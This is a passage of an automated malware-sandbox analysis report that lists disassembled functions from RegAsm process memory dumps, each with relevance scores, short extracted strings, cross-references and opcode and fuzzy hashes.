Instruction Fuzzy Hash: F9513E70A106048FD708EF7BE995A99BFE3BFD8300F14DA29D0049B2A9EF7459059B90

Function 02CB8F48 Relevance: 2.0, Strings: 1, Instructions: 704COMMON

Download Yara Rule

Strings

(_^q, xrefs: 02CB925B

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 6f037d65c94db0c3d1a26bc2ff00c69cf39f2cd4c767bbd38dfd25f91f591050
Instruction ID: 22d5f0475aadcfb46dbeb02f498f99875cc34a6d4ee71006fbd94f3d537593b3
Opcode Fuzzy Hash: 6f037d65c94db0c3d1a26bc2ff00c69cf39f2cd4c767bbd38dfd25f91f591050
Instruction Fuzzy Hash: 85529034B50114DBCB15EFAAD8946AE77B2EFC8304F548569EA069B389CF749D02CF90

Function 0532E550 Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 531bc1dcb44f5cb4ae60b464764aa39e8862315e72a9f4da2c14e7dafcc19481
Instruction ID: 0db946cb004d41032f23978cc4378ee13af9caa84686a3938448152f90306422
Opcode Fuzzy Hash: 531bc1dcb44f5cb4ae60b464764aa39e8862315e72a9f4da2c14e7dafcc19481
Instruction Fuzzy Hash: D8125030B106249FCB19FFA5D8959AEB7B6FF98300F508628D906A7398DF349D45DB80

Function 05336CDB Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1b20ed77b7d95511f1a1bce61467f80cc174bbbcf5fe90e82ff296bd96d932
Instruction ID: b54810d88d70f74bac83c23455a3a3dbc8365c1ddc1d61a7e41c200089b6afbd
Opcode Fuzzy Hash: 0e1b20ed77b7d95511f1a1bce61467f80cc174bbbcf5fe90e82ff296bd96d932
Instruction Fuzzy Hash: 27E19130B106289FCB19FB65D8549AE77B7AFD9300B008618E806AB398DF349D06DB81

Function 05336D60 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142646229.0000000005330000.00000040.00000800.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5330000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8270f9d970559718e85fc6470b0f80098a7cebdc6de83ed8f1d5b019dbcd9ea
Instruction ID: 569a1e1bee3a10c2b3e6f75ecf88c0e8558cf3f22f851f6b3834dc06466c6dd5
Opcode Fuzzy Hash: e8270f9d970559718e85fc6470b0f80098a7cebdc6de83ed8f1d5b019dbcd9ea
Instruction Fuzzy Hash: 36D17C34B106289FCB19FF65D8548AE77B3EFD9300B508618E806AB398DF349D06DB80

Function 05324720 Relevance: 7.7, Strings: 6, Instructions: 226COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05324845
4'^q, xrefs: 053247D3
4'^q, xrefs: 05324915
4'^q, xrefs: 0532481B
(bq, xrefs: 0532499D
pbq, xrefs: 0532492E

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: (bq$4'^q$4'^q$4'^q$4'^q$pbq
API String ID: 0-723292480
Opcode ID: 1b4736daa0851e598ebae81417eff1c308e5594e536b9bdc576155a3eaf52902
Instruction ID: 0c96a323922e7915fbb00ff5f309290b800c8efe446598d3f9ae85d3deef4358
Opcode Fuzzy Hash: 1b4736daa0851e598ebae81417eff1c308e5594e536b9bdc576155a3eaf52902
Instruction Fuzzy Hash: 9581E770A402089FC719EF69D991AAEB7F7FFD8300F504968D44A9B398DE74AD05CB90

Function 05547C60 Relevance: 6.6, Strings: 2, Instructions: 4052COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0554B57F
4'^q, xrefs: 0554B573

Memory Dump Source

Source File: 0000000D.00000002.4143513000.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5540000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 935588413e3e8a49302579e49964acd9f94df3dad230589ef32a66fc3b2aa448
Instruction ID: 0c731e067ca9eb22c80f3d053d4cff72e6b72f56206a4df2d0ae9af4423d5204
Opcode Fuzzy Hash: 935588413e3e8a49302579e49964acd9f94df3dad230589ef32a66fc3b2aa448
Instruction Fuzzy Hash: A163E3B0F512248FCF646B68991827FB9E7BFC8658F54855AD90BD7388EE308C418F91

Function 01013EA0 Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

6=/[, xrefs: 01013F2A
dv-z, xrefs: 01013FEE
Vy27, xrefs: 01014146

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: 6=/[$Vy27$dv-z
API String ID: 0-1629571137
Opcode ID: 5337e5ef3e1f85e0b2ff808a640630bea7a197a5f8bb09b83a79455756f5860e
Instruction ID: b5397f34c3d6b1ac25b8ebcfcd258aa03b5f3aaee76844a0821202cc62afaad6
Opcode Fuzzy Hash: 5337e5ef3e1f85e0b2ff808a640630bea7a197a5f8bb09b83a79455756f5860e
Instruction Fuzzy Hash: BF9156B0806B848FD349DF1A8588BA1BBE0BF89314F5A86FAC05C8F272E7758445CF51

Function 01011E30 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

Te^q, xrefs: 01011EB2
$`@, xrefs: 01011F38
Te^q, xrefs: 01011F44

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: $`@$Te^q$Te^q
API String ID: 0-4248201741
Opcode ID: f1517a150f85bfda0f7fce844d84ed9044971490a3735d33c8b6e11ad0732797
Instruction ID: b6e6c5d399740cc34e85de62a2f6ced52f918d708671d31018e78a9fa5866d82
Opcode Fuzzy Hash: f1517a150f85bfda0f7fce844d84ed9044971490a3735d33c8b6e11ad0732797
Instruction Fuzzy Hash: A4513A74A01104CFD748DFB9D598AADBBF3BF88300F2585A9E5859B3A9CB789C41CB41

Function 0554B7B0 Relevance: 2.8, Strings: 2, Instructions: 314COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0554BB88
4'^q, xrefs: 0554BB94

Memory Dump Source

Source File: 0000000D.00000002.4143513000.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5540000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 002561d6b53557e52ca9bc88403f285eb2518c1c086190f8d5dbcd09573521ce
Instruction ID: f16577b6c547e9108f73895ba4fc565fba8094a9fbb0127679dd98be78df7510
Opcode Fuzzy Hash: 002561d6b53557e52ca9bc88403f285eb2518c1c086190f8d5dbcd09573521ce
Instruction Fuzzy Hash: 57B1B574B503018F8F15AB25A55957EBBA7FFC42287948429E807C7388DF34ED068F82

Function 05324710 Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

4'^q, xrefs: 053247D3
pbq, xrefs: 0532492E

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q$pbq
API String ID: 0-3872760177
Opcode ID: 3979f57f897177e610d0e092bc1732abcc8064da8560c8dc447cca769f6acfd4
Instruction ID: 10e4339b429ca400e4b7bea573119815ecc0919e7e68ebfe5230ac36e47c06e8
Opcode Fuzzy Hash: 3979f57f897177e610d0e092bc1732abcc8064da8560c8dc447cca769f6acfd4
Instruction Fuzzy Hash: 7C41B2306402098FCB15EF69D985AAEB7B7FFD8300F408928D4469B398DF74AD46CB90

Function 0101DDCD Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

]q, xrefs: 0101DEF0
Lsq, xrefs: 0101DD9C

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: Lsq$]q
API String ID: 0-3260979199
Opcode ID: 9d1f90350d9b3b99c40690123abbf052dc035ce197bcdc130c04f39f1a1d33ad
Instruction ID: c3683ef5225745d56c499d17a6e451368675bbcdebed33c78fe113eea3425250
Opcode Fuzzy Hash: 9d1f90350d9b3b99c40690123abbf052dc035ce197bcdc130c04f39f1a1d33ad
Instruction Fuzzy Hash: 04313A2114D2948FC71B77A8A85D1B67FA5DB923217484997D5C58B2AFC6188C0BC3A3

Function 053284D0 Relevance: 2.0, Strings: 1, Instructions: 799COMMON

Download Yara Rule

Strings

,bq, xrefs: 0532896F

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: 9ae1de4435fcbc144c61cff46ccddde07ba9b4af63f07f643216188a7ad1ff4d
Instruction ID: ed591091b59f080175762f0ce1feed121ed84bab0e22dc6cfbff1b1d4d0745ea
Opcode Fuzzy Hash: 9ae1de4435fcbc144c61cff46ccddde07ba9b4af63f07f643216188a7ad1ff4d
Instruction Fuzzy Hash: ED820A74A102289FDB65DF69D884B9EB7B2FF88300F5081E9E509A7354DB70AE85CF50

Function 010146A0 Relevance: 2.0, Strings: 1, Instructions: 776COMMON

Download Yara Rule

Strings

a^q, xrefs: 01014C8F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 0510495ac012dcdb9ad8b73a28d0ecd261fc86b2097ebc2bb938ae41483c8ae4
Instruction ID: ecf26e4e6e1d4a6026b57d9ee24d08f2cf157b4b26e93a3407b30559ac738790
Opcode Fuzzy Hash: 0510495ac012dcdb9ad8b73a28d0ecd261fc86b2097ebc2bb938ae41483c8ae4
Instruction Fuzzy Hash: 0C62AF307202248BC759EF69E85969E7BB2EFC4340F5085A9E9069B3C9CF749D46CF90

Function 010148DF Relevance: 1.9, Strings: 1, Instructions: 607COMMON

Download Yara Rule

Strings

a^q, xrefs: 01014C8F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 9ad16ff75d3aa2ffd9562a3b544f511bae2ebc8bc09ea1c29d783bbfd4db8e8a
Instruction ID: d3a775c1bdde76f32caa4d4816e16ddd24a0d266cb908fa5bb0495888665f791
Opcode Fuzzy Hash: 9ad16ff75d3aa2ffd9562a3b544f511bae2ebc8bc09ea1c29d783bbfd4db8e8a
Instruction Fuzzy Hash: 2032D1307202248BD759EF69E8596AE7AB2EFD4340F508599E9079B3C9CF749D02CBD0

Function 01014956 Relevance: 1.8, Strings: 1, Instructions: 583COMMON

Download Yara Rule

Strings

a^q, xrefs: 01014C8F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 692cfb0fab833cc61ef1c86a708ed816b2a985e9a38a1487e6e0a2acc0fc1727
Instruction ID: a68d3b060d105c46045445d40a5f285556a57bf9afe4f0a2b44b58129856e0dd
Opcode Fuzzy Hash: 692cfb0fab833cc61ef1c86a708ed816b2a985e9a38a1487e6e0a2acc0fc1727
Instruction Fuzzy Hash: CB32C1317202248BD719EF69E85969E7AB2EFD4340F508599E9079B3C9CF749D02CBD0

Function 0101498A Relevance: 1.8, Strings: 1, Instructions: 572COMMON

Download Yara Rule

Strings

a^q, xrefs: 01014C8F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 00e766a1f559f44e7ab7b4417af0449ab3e3e32ccdd1474568771a88d7decffb
Instruction ID: c5acac75853255a94f38d1bbf6b48e08783ad21e99832942f9e7ac97ddcec87c
Opcode Fuzzy Hash: 00e766a1f559f44e7ab7b4417af0449ab3e3e32ccdd1474568771a88d7decffb
Instruction Fuzzy Hash: 3C32C0317202248BD719EF69E85969E7AB2EFD4340F5085A9E9079B3C9CF749D02CB90

Function 010149E8 Relevance: 1.8, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

a^q, xrefs: 01014C8F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 6839a3fefebea032f8a7b834407df3b97c8702a436bfa5e287f6947efe6adb3b
Instruction ID: fca4e2150e1b8003f84ce2608f637523c020b6f48388d9aac615be43ef609710
Opcode Fuzzy Hash: 6839a3fefebea032f8a7b834407df3b97c8702a436bfa5e287f6947efe6adb3b
Instruction Fuzzy Hash: E622D1317202248BC719EF69E85969E77B2EFD8340F5085A9E9079B3C9CF749D02CB90

Function 053284C0 Relevance: 1.6, Strings: 1, Instructions: 341COMMON

Download Yara Rule

Strings

,bq, xrefs: 0532896F

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: c2efaecc8e0e5344f7afaad78113b2547791dadc86e721c058060e5e95753a8b
Instruction ID: 748573808531b544702ce3bc0de75711f0f83bfc3717eae2acf67d4c9a62e12d
Opcode Fuzzy Hash: c2efaecc8e0e5344f7afaad78113b2547791dadc86e721c058060e5e95753a8b
Instruction Fuzzy Hash: 6FE15D74A102289FCB15DF69D854BDEBBB6FF88300F108199E509A7394DE70AE85CF80

Function 01015700 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

Deq, xrefs: 0101578F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 1cf5c903c03dfb1fde5423b79057b3597051b0568002e36f27d13e240640bc1e
Instruction ID: 42da3d7c692b74d67986377ea81b6d7213207583d993e8578c58379990d174f9
Opcode Fuzzy Hash: 1cf5c903c03dfb1fde5423b79057b3597051b0568002e36f27d13e240640bc1e
Instruction Fuzzy Hash: 71A1B331A006109FC714EF29D884A9DBBF2FF8A310F1585A9E445EB3A5DB74EC41CB91

Function 0101BF20 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

(bq, xrefs: 0101BFA4

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 1e8990644832c53958205371e74dd09052f6dfa0b26018e3c1b3ec1113aeb5c7
Instruction ID: 424c8f4ac799816406dce09b89ceefdc6266a94f3d8893a10253555f101509c1
Opcode Fuzzy Hash: 1e8990644832c53958205371e74dd09052f6dfa0b26018e3c1b3ec1113aeb5c7
Instruction Fuzzy Hash: 9B51E331A006069FC701DF58C480AAAFBB5FF89324F1581A5F959A7242D739FC51CBD0

Function 010156EF Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

Deq, xrefs: 0101578F

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: ec913088b081f25ccf4d7778cfa75e276c573eb20124552a39e28057a32ed515
Instruction ID: 775b68c4241fa7acbc6e71d9942748bc0bdaed8fc734a6e9e5c93b659c7c2fb6
Opcode Fuzzy Hash: ec913088b081f25ccf4d7778cfa75e276c573eb20124552a39e28057a32ed515
Instruction Fuzzy Hash: 3961A2356006118FC714EF29D884A99FBF2FF89310B1582A9E846EB3A5DB34EC41CF90

Function 01019E40 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

pbq, xrefs: 01019EDD

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 2962b156016541417c121bc6ff17670e17892cccbace3ffa53aebdcddf4d6d07
Instruction ID: b405b12efcb4d29bf5e504602e118f42fda6f8c50c7c8d4e07489c6eef910cc2
Opcode Fuzzy Hash: 2962b156016541417c121bc6ff17670e17892cccbace3ffa53aebdcddf4d6d07
Instruction Fuzzy Hash: E3515D36610100AFCB49EF99DC48E5A7BA7FF8C3507158094E6069B3BACA36DD12EF50

Function 01019E50 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

pbq, xrefs: 01019EDD

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: cc71e96c7d43e3bfee859e4de9752d4423d31f26e0f99dd6395b71882560e409
Instruction ID: 9a80c5aa2d1fb1b9b4e69e30d06be2d9a12f3ead5c9929b17f360a59be3b865c
Opcode Fuzzy Hash: cc71e96c7d43e3bfee859e4de9752d4423d31f26e0f99dd6395b71882560e409
Instruction Fuzzy Hash: C1515F35610100AFCB49EF99DC54E5A7BA7FF8C3507158094E6068B3B6CA36DD12DF90

Function 053244D0 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0532450B

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 45e64db4bfef310d0b4d3f15c5fd96f395d9c91673e6c2d2b5f4dded19bc0eb3
Instruction ID: 4beab564887c16f5e331c3b76fb5c3b06a67e077f222393404f7f1c8bc70fa7d
Opcode Fuzzy Hash: 45e64db4bfef310d0b4d3f15c5fd96f395d9c91673e6c2d2b5f4dded19bc0eb3
Instruction Fuzzy Hash: 1841C235710114EFCB09EF99EC45AAE7BF7EF9C310B408168E60697395CE359D029B90

Function 053244E0 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0532450B

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 652e9ffa62b64eb07f6eaeb528df7d3da6df61262b14d515a4b0aac0a8a9daa0
Instruction ID: 5bea56d9e96fd63942400c0432d0d211607cb29ac1217986f43487f7679b9c6d
Opcode Fuzzy Hash: 652e9ffa62b64eb07f6eaeb528df7d3da6df61262b14d515a4b0aac0a8a9daa0
Instruction Fuzzy Hash: 3941C230710114DFCB59EFA9E844AAE7BF7EF9C310B008068E60697398CE358D029FA0

Function 05547BF4 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0554B573

Memory Dump Source

Source File: 0000000D.00000002.4143513000.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5540000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 112f52c1df9df2006fa70ba7d8e463cfd3569a84c8d1f214c98639caf6d6a760
Instruction ID: 4c68dae9fc986f2b0f1ff96bf036d7799204ff03db6c422cc65a4245cfb778d2
Opcode Fuzzy Hash: 112f52c1df9df2006fa70ba7d8e463cfd3569a84c8d1f214c98639caf6d6a760
Instruction Fuzzy Hash: CC315971E193508FCF164A20AC047EABB76FF45315F0804AAE805DB281C7748C46CB91

Function 02CB6A09 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

p<^q, xrefs: 02CB6A54

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: a6720bcf07ca67adbd7b93cc0a9cbe873c8e1594e70ef40a483fe0de9e20ed36
Instruction ID: 4eef7c8f4d0504effad8216262b770ca11f600b6e6a0adf69c93f21f75d0ccfc
Opcode Fuzzy Hash: a6720bcf07ca67adbd7b93cc0a9cbe873c8e1594e70ef40a483fe0de9e20ed36
Instruction Fuzzy Hash: A7318D716441949FCF56DF69C8A09EA3BABEFDA200F548191F849C7395CB34CD52DB20

Function 02CB6A18 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

p<^q, xrefs: 02CB6A54

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: a2a5c4ddb6a12c4ed49ac2f5e161532d0740f6f79c50a21b7d2b363615899890
Instruction ID: f569510ff9ba92765b8029e11118ff7cb2b2c69de2df3361e765a98f7c5e47f8
Opcode Fuzzy Hash: a2a5c4ddb6a12c4ed49ac2f5e161532d0740f6f79c50a21b7d2b363615899890
Instruction Fuzzy Hash: C03187712402999FCF16EE6AC890AAA3BAAEFCA204F548055FC48C7391CB35DD51DB60

Function 010184B0 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

Te^q, xrefs: 010184FA

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 5523353eef42e491243851054888bf12844aa2455208a287e8b5ab4655edbf77
Instruction ID: 9159dca3a216892e47e17ec98cc363699c68ccc3ed29163d04e49d6eb41285e4
Opcode Fuzzy Hash: 5523353eef42e491243851054888bf12844aa2455208a287e8b5ab4655edbf77
Instruction Fuzzy Hash: D8212B307142548BDB05DB58DC567DE7BB2EF88300F544166E902AB3C9CF3C5D0687A1

Function 05547C44 Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0554B573

Memory Dump Source

Source File: 0000000D.00000002.4143513000.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5540000_RegAsm.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 29b40f7234e0b538313d8f9d482893315dd58ae9855e6e1681ccfb4f6508c515
Instruction ID: 86460654f21c14547c3dff77fb2744ff4db6c19e32bab8d50285155f247ec2a8
Opcode Fuzzy Hash: 29b40f7234e0b538313d8f9d482893315dd58ae9855e6e1681ccfb4f6508c515
Instruction Fuzzy Hash: C6110671E193548FCF1A8B60A8152F9FBB2FF44315F0508AAD906A7281D7759845CF81

Function 010184E0 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

Te^q, xrefs: 010184FA

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: d87261181217295fc5505956ac51702f36bfc1a35ede24b0c07036926dca9f45
Instruction ID: 0d1fd8c8f40fed5bfa040178ecfbb31219ce26920adf313e38890ba39ff19627
Opcode Fuzzy Hash: d87261181217295fc5505956ac51702f36bfc1a35ede24b0c07036926dca9f45
Instruction Fuzzy Hash: 9B118A307102149BDB19EB59D85979F7AB2EFC8711F508569E502AB3C8CF794D018BD1

Function 0101DEED Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

]q, xrefs: 0101DEF0

Memory Dump Source

Source File: 0000000D.00000002.4128592018.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1010000_RegAsm.jbxd

Similarity

API ID:
String ID: ]q
API String ID: 0-3425105455
Opcode ID: 60437329732f191902aeb57b7068afe0ceecd22f11030aa3d15e8385900590b2
Instruction ID: 157249da5b813cfef8d7be7e66d56220295fe50237a23a01784abc985bb706c5
Opcode Fuzzy Hash: 60437329732f191902aeb57b7068afe0ceecd22f11030aa3d15e8385900590b2
Instruction Fuzzy Hash: 4801D63120D2D04FC31B9768AC256E53F758FD721070985E7D485CB296C9388C0AC761

Function 0532E540 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142494167.0000000005320000.00000040.00000800.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5320000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f66225c0528abdb0458eeebb58094d0783c3b989e6ab8d5142a8aceada6b8eb
Instruction ID: f8d1e610f90a51d5e9f95b8b7ee8a47e83005920b7bff130dd5e3a83bee7181a
Opcode Fuzzy Hash: 9f66225c0528abdb0458eeebb58094d0783c3b989e6ab8d5142a8aceada6b8eb
Instruction Fuzzy Hash: 07E15F30B106249FCB19FF65D9959AE77B6FF98300F508628E906A7398DF349D06DB80

Function 02CBCB80 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4131314938.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2cb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d6883b44bad33018aa81898bdceab99dc9aa9483aaaf8a4f38bb1f365d25f5
Instruction ID: 66851116ba9fb30b7dd966cdda6eb32a4971ab6cb0edff42889360673aa16c08
